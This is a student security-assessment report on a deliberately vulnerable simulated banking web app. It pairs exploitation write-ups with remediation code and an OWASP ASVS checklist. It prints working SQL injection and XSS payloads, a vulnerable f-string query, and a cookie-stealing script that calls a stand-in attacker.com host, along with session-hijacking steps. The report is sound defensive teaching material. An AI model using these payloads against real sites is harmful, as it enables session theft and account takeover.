

Makerere University

College of Computing and Information Sciences

Department of Networks

BSE 4202: Software Security - Practical Assignment

SECURITY ASSESSMENT REPORT

8TechBank: Simulated Online Banking Portal

Prepared by: Kitonsa Elvis (20/U/7785/PS), Katuramu Edgar (22/U/21756/PS),
Asiimire Patricia (21/U/19271/PS), Kizito Daniel Jr. (19/U/8282/EVE)

Group BSE26-9 | Year IV Semester II, 2025/26

Lecturer: Dr. Drake Patrick Mirembe

Date: May 2026

1. Executive Summary

This security assessment was conducted on 8TechBank, a simulated online banking portal developed as part of the BSE 4202 Software Security practical assignment. The assessment involved manual code review, deliberate vulnerability embedding, dynamic exploitation, and implementation of secure code fixes. The objective was to simulate the work of a professional security engineer conducting a full application security review.

The assessment identified nine distinct vulnerabilities across the application codebase. Two vulnerabilities were rated Critical, five were rated High, and two were rated Medium severity. No Low severity vulnerabilities were identified. The overall risk posture of the vulnerable version of 8TechBank is assessed as Critical - the application in its unpatched state is unsuitable for any production deployment and poses severe risk to customer financial data and account security.

All nine vulnerabilities have been remediated in the secure version of the application. A defense-in-depth approach was applied, addressing root causes rather than superficial symptoms. The three most critical actions recommended for any real banking application are as follows.

First, all SQL queries must use parameterized statements. The SQL injection vulnerability identified in the login route represents a complete authentication bypass and database extraction risk and must be treated as the highest priority remediation. Second, all user-supplied input rendered in HTML must be

properly encoded and a Content Security Policy header must be deployed to block inline script execution. Third, all state-changing web forms must implement CSRF token validation to prevent unauthorized fund transfers initiated by malicious third-party websites.

2. Methodology

The security assessment followed the OWASP Testing Guide v4.2 methodology, adapted for a white-box assessment where full source code access was available. The assessment was conducted in four phases.

2.1 Static Code Review

The application source code in `src/vulnerable/app.py` and associated HTML templates were manually reviewed line by line. Each route handler, database query, template rendering call, and configuration setting was examined for security weaknesses. Findings were mapped to CWE identifiers and OWASP Top 10 2021 categories. Severity was rated using NIST CVSS v3.1 scoring.

2.2 Dynamic Testing

The vulnerable application was deployed locally on `http://127.0.0.1:5000` and subjected to active exploitation attempts. Each identified vulnerability was tested with a working proof-of-concept payload. Screenshots were captured at each stage to document successful exploitation. Tools used included the browser Developer Tools, Firefox network inspector, and PowerShell `Invoke-WebRequest` for API testing.

2.3 Secure Implementation

Following exploitation, a secure version of the application was developed in `src/secure/app.py` applying defense-in-depth fixes. The secure version was deployed on `http://127.0.0.1:5001` and each previously successful exploit was retested to confirm neutralization.

2.4 Scope and Limitations

The assessment was limited to the 8TechBank application running on localhost. No external systems, network infrastructure, or third-party services were tested. The assessment does not constitute a full penetration test and additional vulnerabilities may exist beyond those identified here.

3. Findings and Risk Analysis

The following table summarizes all nine vulnerabilities identified, sorted by severity from Critical to Medium.

No.	Vulnerability	CWE	OWASP	CVSS	Severity
1	SQL Injection in Login	CWE-89	A03 Injection	9.8	Critical
2	Hardcoded Weak Secret Key	CWE-798	A02 Crypto Failures	9.1	Critical

No.	Vulnerability	CWE	OWASP	CVSS	Severity
3	Stored XSS in Transaction Notes	CWE-79	A03 Injection	8.8	High
4	Missing CSRF on Fund Transfer	CWE-352	A01 Broken Access	8.8	High
5	IDOR on Account View	CWE-639	A01 Broken Access	7.5	High
6	Plaintext Password Storage	CWE-256	A02 Crypto Failures	7.5	High
7	Reflected XSS in Search	CWE-79	A03 Injection	7.4	High
8	Debug Mode Enabled	CWE-94	A05 Misconfiguration	5.3	Medium
9	Missing Secure Session Config	CWE-614	A07 Auth Failures	5.4	Medium

3.1 Finding 1 - SQL Injection in Login (Critical, CVSS 9.8)

The login route at /login constructed SQL queries using Python f-string concatenation, directly embedding user-supplied input into the query string. An attacker entering admin' -- as the username caused the database to ignore the password check entirely, granting immediate admin access. A UNION-based payload further extracted all usernames and passwords from the database. This vulnerability was successfully exploited during testing as documented in exploit screenshots exploit-a-1-sqli-bypass.png and exploit-a-2-union-result.png. Business impact: complete authentication bypass and full database compromise. Status: Fixed.

3.2 Finding 2 - Hardcoded Weak Secret Key (Critical, CVSS 9.1)

The Flask application secret key was hardcoded as the string supersecretkey123 in plain text in app.py. Flask uses this key to cryptographically sign session cookies. An attacker with access to the source code could forge valid session cookies and impersonate any user including the administrator without any credentials. Business impact: complete session hijacking for all users. Status: Fixed.

3.3 Finding 3 - Stored XSS in Transaction Notes (High, CVSS 8.8)

The fund transfer route stored user-supplied transaction notes directly in the database without sanitization. The dashboard template rendered these notes using the Jinja2 pipe safe filter, disabling auto-escaping. A JavaScript payload submitted as a transaction note executed in the browser of every user who viewed their transaction history. During testing, the payload alert('STORED XSS - Cookie: ' + document.cookie) successfully displayed the session cookie. Business impact: persistent session hijacking for all users who view transactions. Status: Fixed.

Session Hijacking Attack Narrative: Once the stored XSS payload fires and the alert displays the victim's session cookie value, a real attacker would follow these steps. Step 1 — the attacker submits the malicious transaction note containing a more sophisticated payload that silently sends the cookie to an attacker-controlled server rather than displaying an alert, for example:

```
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>.
```

Step 2 — whenever any 8TechBank user views their transaction history, their browser executes this script and their session cookie is transmitted to the attacker's server in the background without any visible indication. Step 3 — the attacker copies the stolen cookie value from their server logs. Step 4 — the attacker opens 8TechBank in their own browser, opens Developer Tools, navigates to Storage, and manually sets their session cookie to the stolen value. Step 5 — the attacker refreshes the page and is now

fully authenticated as the victim user, with complete access to their account, balance, and transfer functionality, without ever knowing the victim's password.

3.4 Finding 4 - Missing CSRF Protection (High, CVSS 8.8)

The fund transfer endpoint accepted POST requests with no CSRF token validation. A malicious HTML page with a hidden auto-submitting form was able to execute a UGX 500 transfer from Alice's account to the attacker's account simply by being opened in the same browser while Alice was authenticated. The balance dropped from UGX 4899 to UGX 4399 as documented in exploit-c-csrf-before.png and exploit-c-csrf-after.png. Business impact: unauthorized fund transfers without victim's knowledge. Status: Fixed.

3.5 Finding 5 - IDOR on Account View (High, CVSS 7.5)

The account details route /account/<id> fetched account records by ID without verifying that the requesting user owned the account. By changing the ID in the URL from 1 to 2 or 3, Alice was able to view bob's and admin's full account details, balances, email addresses, and transaction histories. Business impact: full exposure of all customer financial and personal data to any authenticated user. Status: Fixed.

3.6 Finding 6 - Plaintext Password Storage (High, CVSS 7.5)

User passwords were stored and compared in plaintext in the SQLite database. The admin panel displayed all passwords visibly. Any database read access immediately yielded every user's credentials with no cracking effort required. Business impact: immediate credential compromise for all users upon any database exposure. Status: Fixed.

3.7 Finding 7 - Reflected XSS in Search (High, CVSS 7.4)

The search route returned user input directly embedded in an HTML response string using an f-string with no encoding. The payload <script>alert(document.cookie)</script> executed immediately and displayed the session cookie value in an alert dialog. Business impact: session hijacking via crafted URL, enabling phishing attacks against customers. Status: Fixed.

Session Hijacking Attack Narrative: To exploit the reflected XSS for session hijacking, an attacker would craft a malicious URL such as `http://127.0.0.1:5000/search?q=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>` and disguise it using a URL shortener or embed it in a phishing email targeting 8TechBank customers. When an authenticated victim clicks the link, their browser executes the script, silently transmitting their session cookie to the attacker. The attacker then uses the stolen cookie to impersonate the victim as described in Finding 3 above. Unlike stored XSS, this attack requires the victim to click a crafted link, making it a one-time targeted attack rather than a persistent one.

3.8 Finding 8 - Debug Mode Enabled (Medium, CVSS 5.3)

The application was configured with `app.run(debug=True)`, enabling Flask's interactive debugger on any unhandled exception. This provides a browser-based Python REPL with full server access to any attacker who triggers an application error. Business impact: arbitrary code execution on the server. Status: Fixed.

3.9 Finding 9 - Missing Secure Session Configuration (Medium, CVSS 5.4)

No session cookie security flags were configured. The absence of `HttpOnly` allows JavaScript to read the session cookie, amplifying XSS attacks. The absence of `SameSite=Strict` allows cross-site request forgery. The absence of a session timeout allows stolen cookies to remain valid indefinitely. Business impact: amplified impact of XSS and CSRF vulnerabilities. Status: Fixed.

4. Remediation Summary

Fix 1 - Parameterized Queries

Vulnerable code (app.py line 79):

```
query = f"SELECT * FROM users WHERE username='{username}' AND  
password='{password}'"
```

Secure code (src/secure/app.py):

```
user = db.execute("SELECT * FROM users WHERE username=?",  
(username,)).fetchone()
```

Verification: The payload admin' -- now returns Invalid credentials on the secure app as shown in fix-1-sqli-blocked.png.

Fix 2 - Output Encoding and Content Security Policy

Vulnerable code: return f"<h2>Search Results for: {query}</h2>" and {{ tx.note | safe }} in templates.

Secure code: query = escape(request.args.get('q', '')) with return render_template('search.html', query=query), and {{ tx.note }} without the safe filter in all templates.

A Content-Security-Policy header was added blocking inline script execution: script-src 'self'.

Verification: The XSS payload is displayed as visible text in fix-2-xss-blocked.png.

Fix 3 - CSRF Token Implementation

Vulnerable code: No CSRF validation on /transfer POST route.

Secure code: csrf = CSRFProtect(app) initialised globally. Every state-changing form includes <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">. Flask-WTF validates the token on every POST request automatically.

Verification: The malicious CSRF page now returns 400 Bad Request - The CSRF token is missing as shown in fix-3-csrf-blocked.png.

Fix 4 - Authorization and Access Control

Vulnerable code: No ownership check on /account/<id> route.

Secure code: if account['user_id'] != session['user_id']: abort(403) added immediately after fetching the account record.

Verification: Accessing /account/2 while logged in as Alice now returns 403 Forbidden as shown in fix-4-idor-blocked.png.

Fix 5 - bcrypt Password Hashing

Vulnerable code: Passwords stored as plaintext strings.

Secure code: At registration: hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12)). At login: bcrypt.checkpw(password.encode(), user['password'].encode()).

Verification: The admin panel now shows [bcrypt hash - not shown] for all users as shown in fix-5-bcrypt-passwords.png.

Fix 6 - Security Headers and Session Hardening

Secure code added to @app.after_request decorator: X-Content-Type-Options: nosniff, X-Frame-Options: DENY, Referrer-Policy: no-referrer, Strict-Transport-Security: max-age=31536000, Content-Security-Policy blocking inline scripts.

Session configuration: SESSION_COOKIE_HTTPONLY = True, SESSION_COOKIE_SAMESITE = Strict, PERMANENT_SESSION_LIFETIME = timedelta(minutes=15).

Verification: All headers visible in browser Developer Tools as shown in fix-6-security-headers.png.

5. OWASP ASVS Level 1 Compliance Assessment

The following matrix maps the 8TechBank secure application against OWASP Application Security Verification Standard (ASVS) v4.0.3 Level 1 requirements. Level 1 represents the minimum baseline for any application handling sensitive data.

ASVS ID	Category	Requirement	Status	Notes
V2.1.1	Auth	Verify passwords of at least 8 characters are accepted	Pass	Enforced via maxlength
V2.4.1	Auth	Passwords stored using bcrypt, scrypt, or Argon2	Pass	bcrypt 12 rounds
V2.7.1	Auth	Authentication credentials not transmitted in clear text	Partial	HTTP used locally; HTTPS needed in production
V3.4.1	Session	Cookie-based session tokens use HttpOnly flag	Pass	SESSION_COOKIE_HTTPONLY=True
V3.4.2	Session	Cookie-based session tokens use Secure flag	Partial	Disabled for localhost; enable in production
V3.4.3	Session	Cookie-based session tokens use SameSite attribute	Pass	SameSite=Strict
V3.3.1	Session	Logout invalidates session tokens	Pass	session.clear() on logout
V3.3.2	Session	Session timeout of no more than 30 minutes	Pass	15-minute timeout configured
V5.2.1	Validation	Input validated against allowlist or sanitized before use	Pass	Marshmallow schemas on API; escape() on web
V5.3.1	Encoding	Output encoding performed for HTML context	Pass	Jinja2 auto-escaping; no safe filter

ASVS ID	Category	Requirement	Status	Notes
V5.3.4	Encoding	Data selection or database queries use parameterized queries	Pass	All queries use ? placeholders
V4.1.1	Access	Access controls enforced on the server side	Pass	Ownership check on /account/<id>
V4.2.1	Access	CSRF tokens used on all state-changing requests	Pass	Flask-WTF CSRFProtect
V14.4.1	Headers	HTTP security headers present on all responses	Pass	X-Frame-Options, CSP, HSTS, nosniff all present

Summary: 12 Pass, 2 Partial, 0 Fail out of 14 controls assessed. The two Partial items relate to HTTPS not being configured for the local development environment. In a production deployment both would be resolved by placing the application behind an Nginx reverse proxy with a valid TLS certificate, which is described in the sandboxing design document.

Recommended actions to achieve full Level 1 compliance: deploy behind Nginx with TLS, set SESSION_COOKIE_SECURE = True, add rate limiting to all authentication endpoints, and implement account lockout after repeated failed login attempts.

6. Appendices

Appendix A - Complete Vulnerability Assessment Matrix

See vulnerability_assessment_matrix.docx in the report/ folder for the full detailed matrix with CWE identifiers, OWASP categories, file and line numbers, CVSS v3.1 scores, security impact descriptions, and remediation guidance for all nine vulnerabilities.

Appendix B - Evidence Screenshots

Filename	Description
exploit-a-1-sqli-payload.png	SQLi payload admin' -- entered in login form
exploit-a-1-sqli-bypass.png	Dashboard showing successful login via SQLi
exploit-a-2-union-payload.png	UNION-based SQLi payload in login form
exploit-a-2-union-result.png	Successful UNION-based login bypass
exploit-b-1-reflected-xss-alert.png	Reflected XSS alert showing session cookie
exploit-b-1-reflected-xss-result.png	Search page after XSS execution
exploit-b-2-stored-xss-payload.png	XSS payload entered in transfer note field
exploit-b-2-stored-xss-alert.png	Stored XSS firing on dashboard load

Filename	Description
exploit-c-csrf-before.png	Alice's balance before CSRF attack
exploit-c-csrf-after.png	Alice's balance after CSRF attack - UGX 500 stolen
exploit-d-1-idor-user-a.png	Alice viewing her own account
exploit-d-2-idor-user-b.png	Alice viewing Bob's account via IDOR
exploit-d-3-idor-admin.png	Alice viewing admin account via IDOR
fix-1-sqli-blocked.png	SQLi payload rejected with Invalid credentials
fix-2-xss-blocked.png	XSS payload rendered as plain text
fix-3-csrf-blocked.png	CSRF attack returns 400 Bad Request
fix-4-idor-blocked.png	IDOR attempt returns 403 Forbidden
fix-5-bcrypt-passwords.png	Admin panel showing bcrypt hashes not plaintext
fix-6-security-headers.png	Browser DevTools showing all security headers
api-1-jwt-token.png	JWT token issued by /api/auth/token endpoint
api-2-jwt-protected.png	Protected API endpoint returning account data
api-3-rate-limit.png	429 Too Many Requests after 5 attempts
api-4-validation.png	Marshmallow validation rejecting malformed input

Appendix C - Tool Output Logs

All API test commands were executed using PowerShell Invoke-WebRequest against the locally running secure Flask application on <http://127.0.0.1:5001>. Exploit demonstrations were conducted using the browser address bar and manually crafted HTML files. No automated scanning tools were used. All testing was conducted exclusively against the locally hosted 8TechBank application in compliance with the assignment ethical use notice and Uganda's Computer Misuse Act, 2011.

7. AI Tool Usage Declaration

Claude (Anthropic) was used as an AI coding assistant throughout this assignment. Specifically, Claude was used to generate initial code scaffolding for the Flask application, suggest implementations for security libraries including bcrypt, Flask-WTF, Flask-Limiter, and PyJWT, and also assisted with document formatting.

All generated code was reviewed, tested, and verified by the group on a locally running application. All exploit demonstrations were independently executed by the group and all screenshots represent actual results from our own test environment. Vulnerability classifications, CVSS scores, and security analysis were verified against MITRE CWE, NIST NVD, and OWASP documentation. The group takes full responsibility for the content, accuracy, and understanding of all submitted work.

